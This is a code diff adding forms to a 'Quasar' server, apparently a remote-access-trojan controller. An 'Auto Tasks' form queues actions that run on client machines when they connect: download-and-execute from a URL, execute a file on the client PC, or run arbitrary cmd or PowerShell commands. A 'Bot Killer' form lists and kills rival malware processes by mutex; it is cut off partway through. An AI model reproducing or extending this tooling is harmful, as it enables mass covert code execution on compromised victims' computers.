splitContainer; + private Button btnClearAll; + + public FrmAutoTasks() + { + InitializeComponent(); + Utilities.ThemeManager.ApplyThemeToNewForm(this); + LoadAutoTasks(); + RefreshTaskList(); + } + + public static void LoadAutoTasks() + { + try + { + if (File.Exists(AutoTasksPath)) + { + XmlSerializer serializer = new XmlSerializer(typeof(List)); + using (FileStream fs = new FileStream(AutoTasksPath, FileMode.Open)) + { + ConfiguredTasks = (List)serializer.Deserialize(fs); + } + } + } + catch (Exception ex) + { + MessageBox.Show($"Failed to load auto tasks: {ex.Message}", "Load Error", MessageBoxButtons.OK, MessageBoxIcon.Warning); + ConfiguredTasks = new List(); + } + } + + public static void SaveAutoTasks() + { + try + { + XmlSerializer serializer = new XmlSerializer(typeof(List)); + using (FileStream fs = new FileStream(AutoTasksPath, FileMode.Create)) + { + serializer.Serialize(fs, ConfiguredTasks); + } + } + catch (Exception ex) + { + MessageBox.Show($"Failed to save auto tasks: {ex.Message}", "Save Error", MessageBoxButtons.OK, MessageBoxIcon.Warning); + } + } + + private void InitializeComponent() + { + this.splitContainer = new System.Windows.Forms.SplitContainer(); + this.tabControl = new System.Windows.Forms.TabControl(); + this.tabExecuteUrl = new System.Windows.Forms.TabPage(); + this.gbTrigger = new System.Windows.Forms.GroupBox(); + this.rbAllConnections = new System.Windows.Forms.RadioButton(); + this.rbInitial = new System.Windows.Forms.RadioButton(); + this.btnExecuteUrl = new System.Windows.Forms.Button(); + this.txtUrl = new System.Windows.Forms.TextBox(); + this.lblUrl = new System.Windows.Forms.Label(); + this.tabExecuteDisk = new System.Windows.Forms.TabPage(); + this.btnExecuteDisk = new System.Windows.Forms.Button(); + this.btnBrowseDisk = new System.Windows.Forms.Button(); + this.txtDiskPath = new System.Windows.Forms.TextBox(); + this.lblDiskPath = new System.Windows.Forms.Label(); + this.tabCommand = new System.Windows.Forms.TabPage(); + this.btnExecuteCommand = new System.Windows.Forms.Button(); + this.txtCommand = new System.Windows.Forms.TextBox(); + this.lblCommand = new System.Windows.Forms.Label(); + this.rbPowerShell = new System.Windows.Forms.RadioButton(); + this.rbCmd = new System.Windows.Forms.RadioButton(); + this.lblShell = new System.Windows.Forms.Label(); + this.tabMessageBox = new System.Windows.Forms.TabPage(); + this.btnShowMessage = new System.Windows.Forms.Button(); + this.gbIcon = new System.Windows.Forms.GroupBox(); + this.rbQuestion = new System.Windows.Forms.RadioButton(); + this.rbError = new System.Windows.Forms.RadioButton(); + this.rbWarning = new System.Windows.Forms.RadioButton(); + this.rbInfo = new System.Windows.Forms.RadioButton(); + this.rbNone = new System.Windows.Forms.RadioButton(); + this.txtMsgText = new System.Windows.Forms.TextBox(); + this.lblMsgText = new System.Windows.Forms.Label(); + this.txtMsgCaption = new System.Windows.Forms.TextBox(); + this.lblMsgCaption = new System.Windows.Forms.Label(); + this.btnClearAll = new System.Windows.Forms.Button(); + this.btnRemove = new System.Windows.Forms.Button(); + this.lstTasks = new System.Windows.Forms.ListBox(); + this.lblTasks = new System.Windows.Forms.Label(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer)).BeginInit(); + this.splitContainer.Panel1.SuspendLayout(); + this.splitContainer.Panel2.SuspendLayout(); + this.splitContainer.SuspendLayout(); + this.tabControl.SuspendLayout(); + this.tabExecuteUrl.SuspendLayout(); + this.gbTrigger.SuspendLayout(); + this.tabExecuteDisk.SuspendLayout(); + this.tabCommand.SuspendLayout(); + this.tabMessageBox.SuspendLayout(); + this.gbIcon.SuspendLayout(); + this.SuspendLayout(); + // + // splitContainer + // + this.splitContainer.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer.Location = new System.Drawing.Point(0, 0); + this.splitContainer.Margin = new System.Windows.Forms.Padding(4); + this.splitContainer.Name = "splitContainer"; + // + // splitContainer.Panel1 + // + this.splitContainer.Panel1.Controls.Add(this.tabControl); + // + // splitContainer.Panel2 + // + this.splitContainer.Panel2.Controls.Add(this.btnClearAll); + this.splitContainer.Panel2.Controls.Add(this.btnRemove); + this.splitContainer.Panel2.Controls.Add(this.lstTasks); + this.splitContainer.Panel2.Controls.Add(this.lblTasks); + this.splitContainer.Panel2.ForeColor = System.Drawing.Color.White; + this.splitContainer.Size = new System.Drawing.Size(1200, 558); + this.splitContainer.SplitterDistance = 666; + this.splitContainer.SplitterWidth = 5; + this.splitContainer.TabIndex = 0; + // + // tabControl + // + this.tabControl.Controls.Add(this.tabExecuteUrl); + this.tabControl.Controls.Add(this.tabExecuteDisk); + this.tabControl.Controls.Add(this.tabCommand); + this.tabControl.Controls.Add(this.tabMessageBox); + this.tabControl.Dock = System.Windows.Forms.DockStyle.Fill; + this.tabControl.Location = new System.Drawing.Point(0, 0); + this.tabControl.Margin = new System.Windows.Forms.Padding(4); + this.tabControl.Name = "tabControl"; + this.tabControl.SelectedIndex = 0; + this.tabControl.Size = new System.Drawing.Size(666, 558); + this.tabControl.TabIndex = 0; + // + // tabExecuteUrl + // + this.tabExecuteUrl.Controls.Add(this.gbTrigger); + this.tabExecuteUrl.Controls.Add(this.btnExecuteUrl); + this.tabExecuteUrl.Controls.Add(this.txtUrl); + this.tabExecuteUrl.Controls.Add(this.lblUrl); + this.tabExecuteUrl.ForeColor = System.Drawing.Color.White; + this.tabExecuteUrl.Location = new System.Drawing.Point(4, 25); + this.tabExecuteUrl.Margin = new System.Windows.Forms.Padding(4); + this.tabExecuteUrl.Name = "tabExecuteUrl"; + this.tabExecuteUrl.Padding = new System.Windows.Forms.Padding(4); + this.tabExecuteUrl.Size = new System.Drawing.Size(658, 529); + this.tabExecuteUrl.TabIndex = 0; + this.tabExecuteUrl.Text = "Execute from URL"; + this.tabExecuteUrl.UseVisualStyleBackColor = true; + // + // gbTrigger + // + this.gbTrigger.Controls.Add(this.rbAllConnections); + this.gbTrigger.Controls.Add(this.rbInitial); + this.gbTrigger.Location = new System.Drawing.Point(20, 98); + this.gbTrigger.Margin = new System.Windows.Forms.Padding(4); + this.gbTrigger.Name = "gbTrigger"; + this.gbTrigger.Padding = new System.Windows.Forms.Padding(4); + this.gbTrigger.Size = new System.Drawing.Size(560, 74); + this.gbTrigger.TabIndex = 3; + this.gbTrigger.TabStop = false; + this.gbTrigger.Text = "Trigger"; + // + // rbAllConnections + // + this.rbAllConnections.AutoSize = true; + this.rbAllConnections.Location = new System.Drawing.Point(200, 31); + this.rbAllConnections.Margin = new System.Windows.Forms.Padding(4); + this.rbAllConnections.Name = "rbAllConnections"; + this.rbAllConnections.Size = new System.Drawing.Size(120, 20); + this.rbAllConnections.TabIndex = 1; + this.rbAllConnections.Text = "All Connections"; + this.rbAllConnections.UseVisualStyleBackColor = true; + // + // rbInitial + // + this.rbInitial.AutoSize = true; + this.rbInitial.Checked = true; + this.rbInitial.Location = new System.Drawing.Point(20, 31); + this.rbInitial.Margin = new System.Windows.Forms.Padding(4); + this.rbInitial.Name = "rbInitial"; + this.rbInitial.Size = new System.Drawing.Size(128, 20); + this.rbInitial.TabIndex = 0; + this.rbInitial.TabStop = true; + this.rbInitial.Text = "Initial Connection"; + this.rbInitial.UseVisualStyleBackColor = true; + // + // btnExecuteUrl + // + this.btnExecuteUrl.Location = new System.Drawing.Point(20, 197); + this.btnExecuteUrl.Margin = new System.Windows.Forms.Padding(4); + this.btnExecuteUrl.Name = "btnExecuteUrl"; + this.btnExecuteUrl.Size = new System.Drawing.Size(160, 37); + this.btnExecuteUrl.TabIndex = 2; + this.btnExecuteUrl.Text = "Add Task"; + this.btnExecuteUrl.UseVisualStyleBackColor = true; + this.btnExecuteUrl.Click += new System.EventHandler(this.btnExecuteUrl_Click); + // + // txtUrl + // + this.txtUrl.Location = new System.Drawing.Point(20, 49); + this.txtUrl.Margin = new System.Windows.Forms.Padding(4); + this.txtUrl.Name = "txtUrl"; + this.txtUrl.Size = new System.Drawing.Size(559, 22); + this.txtUrl.TabIndex = 1; + // + // lblUrl + // + this.lblUrl.AutoSize = true; + this.lblUrl.Location = new System.Drawing.Point(16, 25); + this.lblUrl.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblUrl.Name = "lblUrl"; + this.lblUrl.Size = new System.Drawing.Size(37, 16); + this.lblUrl.TabIndex = 0; + this.lblUrl.Text = "URL:"; + // + // tabExecuteDisk + // + this.tabExecuteDisk.Controls.Add(this.btnExecuteDisk); + this.tabExecuteDisk.Controls.Add(this.btnBrowseDisk); + this.tabExecuteDisk.Controls.Add(this.txtDiskPath); + this.tabExecuteDisk.Controls.Add(this.lblDiskPath); + this.tabExecuteDisk.ForeColor = System.Drawing.Color.White; + this.tabExecuteDisk.Location = new System.Drawing.Point(4, 25); + this.tabExecuteDisk.Margin = new System.Windows.Forms.Padding(4); + this.tabExecuteDisk.Name = "tabExecuteDisk"; + this.tabExecuteDisk.Padding = new System.Windows.Forms.Padding(4); + this.tabExecuteDisk.Size = new System.Drawing.Size(658, 529); + this.tabExecuteDisk.TabIndex = 1; + this.tabExecuteDisk.Text = "Execute from Disk"; + this.tabExecuteDisk.UseVisualStyleBackColor = true; + // + // btnExecuteDisk + // + this.btnExecuteDisk.Location = new System.Drawing.Point(20, 98); + this.btnExecuteDisk.Margin = new System.Windows.Forms.Padding(4); + this.btnExecuteDisk.Name = "btnExecuteDisk"; + this.btnExecuteDisk.Size = new System.Drawing.Size(160, 37); + this.btnExecuteDisk.TabIndex = 3; + this.btnExecuteDisk.Text = "Add Task"; + this.btnExecuteDisk.UseVisualStyleBackColor = true; + this.btnExecuteDisk.Click += new System.EventHandler(this.btnExecuteDisk_Click); + // + // btnBrowseDisk + // + this.btnBrowseDisk.Location = new System.Drawing.Point(455, 47); + this.btnBrowseDisk.Margin = new System.Windows.Forms.Padding(4); + this.btnBrowseDisk.Name = "btnBrowseDisk"; + this.btnBrowseDisk.Size = new System.Drawing.Size(125, 32); + this.btnBrowseDisk.TabIndex = 2; + this.btnBrowseDisk.Text = "Browse..."; + this.btnBrowseDisk.UseVisualStyleBackColor = true; + this.btnBrowseDisk.Click += new System.EventHandler(this.btnBrowseDisk_Click); + // + // txtDiskPath + // + this.txtDiskPath.Location = new System.Drawing.Point(20, 49); + this.txtDiskPath.Margin = new System.Windows.Forms.Padding(4); + this.txtDiskPath.Name = "txtDiskPath"; + this.txtDiskPath.ReadOnly = true; + this.txtDiskPath.Size = new System.Drawing.Size(425, 22); + this.txtDiskPath.TabIndex = 1; + // + // lblDiskPath + // + this.lblDiskPath.AutoSize = true; + this.lblDiskPath.Location = new System.Drawing.Point(16, 25); + this.lblDiskPath.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblDiskPath.Name = "lblDiskPath"; + this.lblDiskPath.Size = new System.Drawing.Size(143, 16); + this.lblDiskPath.TabIndex = 0; + this.lblDiskPath.Text = "File Path (on client PC):"; + // + // tabCommand + // + this.tabCommand.Controls.Add(this.btnExecuteCommand); + this.tabCommand.Controls.Add(this.txtCommand); + this.tabCommand.Controls.Add(this.lblCommand); + this.tabCommand.Controls.Add(this.rbPowerShell); + this.tabCommand.Controls.Add(this.rbCmd); + this.tabCommand.Controls.Add(this.lblShell); + this.tabCommand.ForeColor = System.Drawing.Color.White; + this.tabCommand.Location = new System.Drawing.Point(4, 25); + this.tabCommand.Margin = new System.Windows.Forms.Padding(4); + this.tabCommand.Name = "tabCommand"; + this.tabCommand.Size = new System.Drawing.Size(658, 529); + this.tabCommand.TabIndex = 2; + this.tabCommand.Text = "Command"; + this.tabCommand.UseVisualStyleBackColor = true; + // + // btnExecuteCommand + // + this.btnExecuteCommand.Location = new System.Drawing.Point(20, 283); + this.btnExecuteCommand.Margin = new System.Windows.Forms.Padding(4); + this.btnExecuteCommand.Name = "btnExecuteCommand"; + this.btnExecuteCommand.Size = new System.Drawing.Size(160, 37); + this.btnExecuteCommand.TabIndex = 5; + this.btnExecuteCommand.Text = "Add Task"; + this.btnExecuteCommand.UseVisualStyleBackColor = true; + this.btnExecuteCommand.Click += new System.EventHandler(this.btnExecuteCommand_Click); + // + // txtCommand + // + this.txtCommand.Location = new System.Drawing.Point(20, 111); + this.txtCommand.Margin = new System.Windows.Forms.Padding(4); + this.txtCommand.Multiline = true; + this.txtCommand.Name = "txtCommand"; + this.txtCommand.Size = new System.Drawing.Size(559, 159); + this.txtCommand.TabIndex = 4; + // + // lblCommand + // + this.lblCommand.AutoSize = true; + this.lblCommand.Location = new System.Drawing.Point(16, 86); + this.lblCommand.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblCommand.Name = "lblCommand"; + this.lblCommand.Size = new System.Drawing.Size(72, 16); + this.lblCommand.TabIndex = 3; + this.lblCommand.Text = "Command:"; + // + // rbPowerShell + // + this.rbPowerShell.AutoSize = true; + this.rbPowerShell.Location = new System.Drawing.Point(120, 49); + this.rbPowerShell.Margin = new System.Windows.Forms.Padding(4); + this.rbPowerShell.Name = "rbPowerShell"; + this.rbPowerShell.Size = new System.Drawing.Size(96, 20); + this.rbPowerShell.TabIndex = 2; + this.rbPowerShell.Text = "PowerShell"; + this.rbPowerShell.UseVisualStyleBackColor = true; + // + // rbCmd + // + this.rbCmd.AutoSize = true; + this.rbCmd.Checked = true; + this.rbCmd.Location = new System.Drawing.Point(20, 49); + this.rbCmd.Margin = new System.Windows.Forms.Padding(4); + this.rbCmd.Name = "rbCmd"; + this.rbCmd.Size = new System.Drawing.Size(58, 20); + this.rbCmd.TabIndex = 1; + this.rbCmd.TabStop = true; + this.rbCmd.Text = "CMD"; + this.rbCmd.UseVisualStyleBackColor = true; + // + // lblShell + // + this.lblShell.AutoSize = true; + this.lblShell.Location = new System.Drawing.Point(16, 25); + this.lblShell.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblShell.Name = "lblShell"; + this.lblShell.Size = new System.Drawing.Size(40, 16); + this.lblShell.TabIndex = 0; + this.lblShell.Text = "Shell:"; + // + // tabMessageBox + // + this.tabMessageBox.Controls.Add(this.btnShowMessage); + this.tabMessageBox.Controls.Add(this.gbIcon); + this.tabMessageBox.Controls.Add(this.txtMsgText); + this.tabMessageBox.Controls.Add(this.lblMsgText); + this.tabMessageBox.Controls.Add(this.txtMsgCaption); + this.tabMessageBox.Controls.Add(this.lblMsgCaption); + this.tabMessageBox.ForeColor = System.Drawing.Color.White; + this.tabMessageBox.Location = new System.Drawing.Point(4, 25); + this.tabMessageBox.Margin = new System.Windows.Forms.Padding(4); + this.tabMessageBox.Name = "tabMessageBox"; + this.tabMessageBox.Size = new System.Drawing.Size(658, 529); + this.tabMessageBox.TabIndex = 3; + this.tabMessageBox.Text = "Message Box"; + this.tabMessageBox.UseVisualStyleBackColor = true; + // + // btnShowMessage + // + this.btnShowMessage.Location = new System.Drawing.Point(20, 283); + this.btnShowMessage.Margin = new System.Windows.Forms.Padding(4); + this.btnShowMessage.Name = "btnShowMessage"; + this.btnShowMessage.Size = new System.Drawing.Size(160, 37); + this.btnShowMessage.TabIndex = 5; + this.btnShowMessage.Text = "Add Task"; + this.btnShowMessage.UseVisualStyleBackColor = true; + this.btnShowMessage.Click += new System.EventHandler(this.btnShowMessage_Click); + // + // gbIcon + // + this.gbIcon.Controls.Add(this.rbQuestion); + this.gbIcon.Controls.Add(this.rbError); + this.gbIcon.Controls.Add(this.rbWarning); + this.gbIcon.Controls.Add(this.rbInfo); + this.gbIcon.Controls.Add(this.rbNone); + this.gbIcon.Location = new System.Drawing.Point(333, 25); + this.gbIcon.Margin = new System.Windows.Forms.Padding(4); + this.gbIcon.Name = "gbIcon"; + this.gbIcon.Padding = new System.Windows.Forms.Padding(4); + this.gbIcon.Size = new System.Drawing.Size(247, 246); + this.gbIcon.TabIndex = 4; + this.gbIcon.TabStop = false; + this.gbIcon.Text = "Icon"; + // + // rbQuestion + // + this.rbQuestion.AutoSize = true; + this.rbQuestion.Location = new System.Drawing.Point(20, 142); + this.rbQuestion.Margin = new System.Windows.Forms.Padding(4); + this.rbQuestion.Name = "rbQuestion"; + this.rbQuestion.Size = new System.Drawing.Size(81, 20); + this.rbQuestion.TabIndex = 4; + this.rbQuestion.Text = "Question"; + this.rbQuestion.UseVisualStyleBackColor = true; + // + // rbError + // + this.rbError.AutoSize = true; + this.rbError.Location = new System.Drawing.Point(20, 113); + this.rbError.Margin = new System.Windows.Forms.Padding(4); + this.rbError.Name = "rbError"; + this.rbError.Size = new System.Drawing.Size(57, 20); + this.rbError.TabIndex = 3; + this.rbError.Text = "Error"; + this.rbError.UseVisualStyleBackColor = true; + // + // rbWarning + // + this.rbWarning.AutoSize = true; + this.rbWarning.Location = new System.Drawing.Point(20, 85); + this.rbWarning.Margin = new System.Windows.Forms.Padding(4); + this.rbWarning.Name = "rbWarning"; + this.rbWarning.Size = new System.Drawing.Size(78, 20); + this.rbWarning.TabIndex = 2; + this.rbWarning.Text = "Warning"; + this.rbWarning.UseVisualStyleBackColor = true; + // + // rbInfo + // + this.rbInfo.AutoSize = true; + this.rbInfo.Location = new System.Drawing.Point(20, 57); + this.rbInfo.Margin = new System.Windows.Forms.Padding(4); + this.rbInfo.Name = "rbInfo"; + this.rbInfo.Size = new System.Drawing.Size(93, 20); + this.rbInfo.TabIndex = 1; + this.rbInfo.Text = "Information"; + this.rbInfo.UseVisualStyleBackColor = true; + // + // rbNone + // + this.rbNone.AutoSize = true; + this.rbNone.Checked = true; + this.rbNone.Location = new System.Drawing.Point(20, 28); + this.rbNone.Margin = new System.Windows.Forms.Padding(4); + this.rbNone.Name = "rbNone"; + this.rbNone.Size = new System.Drawing.Size(61, 20); + this.rbNone.TabIndex = 0; + this.rbNone.TabStop = true; + this.rbNone.Text = "None"; + this.rbNone.UseVisualStyleBackColor = true; + // + // txtMsgText + // + this.txtMsgText.Location = new System.Drawing.Point(20, 111); + this.txtMsgText.Margin = new System.Windows.Forms.Padding(4); + this.txtMsgText.Multiline = true; + this.txtMsgText.Name = "txtMsgText"; + this.txtMsgText.Size = new System.Drawing.Size(292, 159); + this.txtMsgText.TabIndex = 3; + // + // lblMsgText + // + this.lblMsgText.AutoSize = true; + this.lblMsgText.Location = new System.Drawing.Point(16, 86); + this.lblMsgText.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblMsgText.Name = "lblMsgText"; + this.lblMsgText.Size = new System.Drawing.Size(36, 16); + this.lblMsgText.TabIndex = 2; + this.lblMsgText.Text = "Text:"; + // + // txtMsgCaption + // + this.txtMsgCaption.Location = new System.Drawing.Point(20, 49); + this.txtMsgCaption.Margin = new System.Windows.Forms.Padding(4); + this.txtMsgCaption.Name = "txtMsgCaption"; + this.txtMsgCaption.Size = new System.Drawing.Size(292, 22); + this.txtMsgCaption.TabIndex = 1; + // + // lblMsgCaption + // + this.lblMsgCaption.AutoSize = true; + this.lblMsgCaption.Location = new System.Drawing.Point(16, 25); + this.lblMsgCaption.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblMsgCaption.Name = "lblMsgCaption"; + this.lblMsgCaption.Size = new System.Drawing.Size(56, 16); + this.lblMsgCaption.TabIndex = 0; + this.lblMsgCaption.Text = "Caption:"; + // + // btnClearAll + // + this.btnClearAll.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.btnClearAll.Location = new System.Drawing.Point(194, 222); + this.btnClearAll.Margin = new System.Windows.Forms.Padding(4); + this.btnClearAll.Name = "btnClearAll"; + this.btnClearAll.Size = new System.Drawing.Size(160, 37); + this.btnClearAll.TabIndex = 3; + this.btnClearAll.Text = "Clear All"; + this.btnClearAll.UseVisualStyleBackColor = true; + this.btnClearAll.Click += new System.EventHandler(this.btnClearAll_Click); + // + // btnRemove + // + this.btnRemove.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.btnRemove.Location = new System.Drawing.Point(17, 222); + this.btnRemove.Margin = new System.Windows.Forms.Padding(4); + this.btnRemove.Name = "btnRemove"; + this.btnRemove.Size = new System.Drawing.Size(160, 37); + this.btnRemove.TabIndex = 2; + this.btnRemove.Text = "Remove Selected"; + this.btnRemove.UseVisualStyleBackColor = true; + this.btnRemove.Click += new System.EventHandler(this.btnRemove_Click); + // + // lstTasks + // + this.lstTasks.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.lstTasks.FormattingEnabled = true; + this.lstTasks.ItemHeight = 16; + this.lstTasks.Location = new System.Drawing.Point(13, 37); + this.lstTasks.Margin = new System.Windows.Forms.Padding(4); + this.lstTasks.Name = "lstTasks"; + this.lstTasks.Size = new System.Drawing.Size(492, 180); + this.lstTasks.TabIndex = 0; + // + // lblTasks + // + this.lblTasks.AutoSize = true; + this.lblTasks.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold); + this.lblTasks.Location = new System.Drawing.Point(13, 12); + this.lblTasks.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblTasks.Name = "lblTasks"; + this.lblTasks.Size = new System.Drawing.Size(133, 20); + this.lblTasks.TabIndex = 1; + this.lblTasks.Text = "Configured Tasks:"; + // + // FrmAutoTasks + // + this.AutoScaleDimensions = new System.Drawing.SizeF(8F, 16F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(1200, 558); + this.Controls.Add(this.splitContainer); + this.Margin = new System.Windows.Forms.Padding(4); + this.MinimumSize = new System.Drawing.Size(1061, 605); + this.Name = "FrmAutoTasks"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent; + this.Text = "Auto Tasks"; + this.splitContainer.Panel1.ResumeLayout(false); + this.splitContainer.Panel2.ResumeLayout(false); + this.splitContainer.Panel2.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer)).EndInit(); + this.splitContainer.ResumeLayout(false); + this.tabControl.ResumeLayout(false); + this.tabExecuteUrl.ResumeLayout(false); + this.tabExecuteUrl.PerformLayout(); + this.gbTrigger.ResumeLayout(false); + this.gbTrigger.PerformLayout(); + this.tabExecuteDisk.ResumeLayout(false); + this.tabExecuteDisk.PerformLayout(); + this.tabCommand.ResumeLayout(false); + this.tabCommand.PerformLayout(); + this.tabMessageBox.ResumeLayout(false); + this.tabMessageBox.PerformLayout(); + this.gbIcon.ResumeLayout(false); + this.gbIcon.PerformLayout(); + this.ResumeLayout(false); + + } + + + private string GetTrigger() + { + if (rbInitial.Checked) return "Initial"; + if (rbAllConnections.Checked) return "All"; + return "Initial"; + } + + private void RefreshTaskList() + { + lstTasks.Items.Clear(); + foreach (var task in ConfiguredTasks) + { + string display = $"[{task.Trigger}] {task.TaskType}"; + if (!string.IsNullOrEmpty(task.Param1)) + display += $" - {task.Param1}"; + lstTasks.Items.Add(display); + } + } + + private void btnExecuteUrl_Click(object sender, EventArgs e) + { + if (string.IsNullOrWhiteSpace(txtUrl.Text)) + { + MessageBox.Show("Please enter a URL.", "Validation Error", MessageBoxButtons.OK, MessageBoxIcon.Warning); + return; + } + + ConfiguredTasks.Add(new AutoTaskConfig + { + Trigger = GetTrigger(), + TaskType = "EXECUTE_URL", + Param1 = txtUrl.Text + }); + + SaveAutoTasks(); + MessageBox.Show("Task added successfully!", "Auto Tasks", MessageBoxButtons.OK, MessageBoxIcon.Information); + txtUrl.Clear(); + RefreshTaskList(); + } + + private void btnBrowseDisk_Click(object sender, EventArgs e) + { + using (var openFileDialog = new OpenFileDialog()) + { + openFileDialog.Title = "Select File to Execute"; + openFileDialog.Filter = "Executable Files (*.exe)|*.exe|All Files (*.*)|*.*"; + + if (openFileDialog.ShowDialog() == DialogResult.OK) + { + txtDiskPath.Text = openFileDialog.FileName; + } + } + } + + private void btnExecuteDisk_Click(object sender, EventArgs e) + { + if (string.IsNullOrWhiteSpace(txtDiskPath.Text)) + { + MessageBox.Show("Please select a file path.", "Validation Error", MessageBoxButtons.OK, MessageBoxIcon.Warning); + return; + } + + ConfiguredTasks.Add(new AutoTaskConfig + { + Trigger = "Initial", + TaskType = "EXECUTE_DISK", + Param1 = txtDiskPath.Text + }); + + SaveAutoTasks(); + MessageBox.Show("Task added successfully!", "Auto Tasks", MessageBoxButtons.OK, MessageBoxIcon.Information); + txtDiskPath.Clear(); + RefreshTaskList(); + } + + + private void btnExecuteCommand_Click(object sender, EventArgs e) + { + if (string.IsNullOrWhiteSpace(txtCommand.Text)) + { + MessageBox.Show("Please enter a command.", "Validation Error", MessageBoxButtons.OK, MessageBoxIcon.Warning); + return; + } + + string shell = rbCmd.Checked ? "cmd" : "powershell"; + + ConfiguredTasks.Add(new AutoTaskConfig + { + Trigger = "Initial", + TaskType = "COMMAND", + Param1 = shell, + Param2 = txtCommand.Text + }); + + SaveAutoTasks(); + MessageBox.Show("Task added successfully!", "Auto Tasks", MessageBoxButtons.OK, MessageBoxIcon.Information); + txtCommand.Clear(); + RefreshTaskList(); + } + + private void btnShowMessage_Click(object sender, EventArgs e) + { + if (string.IsNullOrWhiteSpace(txtMsgCaption.Text) || string.IsNullOrWhiteSpace(txtMsgText.Text)) + { + MessageBox.Show("Please enter both caption and message text.", "Validation Error", MessageBoxButtons.OK, MessageBoxIcon.Warning); + return; + } + + string icon = "None"; + if (rbInfo.Checked) icon = "Information"; + else if (rbWarning.Checked) icon = "Warning"; + else if (rbError.Checked) icon = "Error"; + else if (rbQuestion.Checked) icon = "Question"; + + ConfiguredTasks.Add(new AutoTaskConfig + { + Trigger = "Initial", + TaskType = "MESSAGEBOX", + Param1 = txtMsgCaption.Text, + Param2 = txtMsgText.Text, + Param3 = icon + }); + + SaveAutoTasks(); + MessageBox.Show("Task added successfully!", "Auto Tasks", MessageBoxButtons.OK, MessageBoxIcon.Information); + txtMsgCaption.Clear(); + txtMsgText.Clear(); + RefreshTaskList(); + } + + private void btnRemove_Click(object sender, EventArgs e) + { + if (lstTasks.SelectedIndex >= 0) + { + ConfiguredTasks.RemoveAt(lstTasks.SelectedIndex); + SaveAutoTasks(); + RefreshTaskList(); + MessageBox.Show("Task removed successfully!", "Auto Tasks", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + else + { + MessageBox.Show("Please select a task to remove.", "No Selection", MessageBoxButtons.OK, MessageBoxIcon.Warning); + } + } + + private void btnClearAll_Click(object sender, EventArgs e) + { + if (ConfiguredTasks.Count == 0) + { + MessageBox.Show("No tasks to clear.", "Auto Tasks", MessageBoxButtons.OK, MessageBoxIcon.Information); + return; + } + + var result = MessageBox.Show($"Are you sure you want to remove all {ConfiguredTasks.Count} task(s)?", + "Confirm Clear All", MessageBoxButtons.YesNo, MessageBoxIcon.Question); + + if (result == DialogResult.Yes) + { + ConfiguredTasks.Clear(); + SaveAutoTasks(); + RefreshTaskList(); + MessageBox.Show("All tasks cleared!", "Auto Tasks", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + } + + private void btnClose_Click(object sender, EventArgs e) + { + // Don't close if embedded in a tab (TopLevel = false) + if (this.TopLevel) + this.Close(); + } + } + + [Serializable] + public class AutoTaskConfig + { + public string Trigger { get; set; } + public string TaskType { get; set; } + public string Param1 { get; set; } + public string Param2 { get; set; } + public string Param3 { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmAutoTasks.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmAutoTasks.resx new file mode 100755 index 0000000..d58980a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmAutoTasks.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmBotKiller.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmBotKiller.Designer.cs new file mode 100755 index 0000000..5aef813 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmBotKiller.Designer.cs @@ -0,0 +1,175 @@ +namespace Quasar.Server.Forms +{ + partial class FrmBotKiller + { + private System.ComponentModel.IContainer components = null; + + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + private void InitializeComponent() + { + this.lstThreats = new System.Windows.Forms.ListView(); + this.columnProcess = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnPID = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnPath = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnThreat = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnMutex = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnKilled = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.txtLog = new System.Windows.Forms.RichTextBox(); + this.btnScan = new System.Windows.Forms.Button(); + this.btnClear = new System.Windows.Forms.Button(); + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.SuspendLayout(); + // + // lstThreats + // + this.lstThreats.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.columnProcess, + this.columnPID, + this.columnPath, + this.columnThreat, + 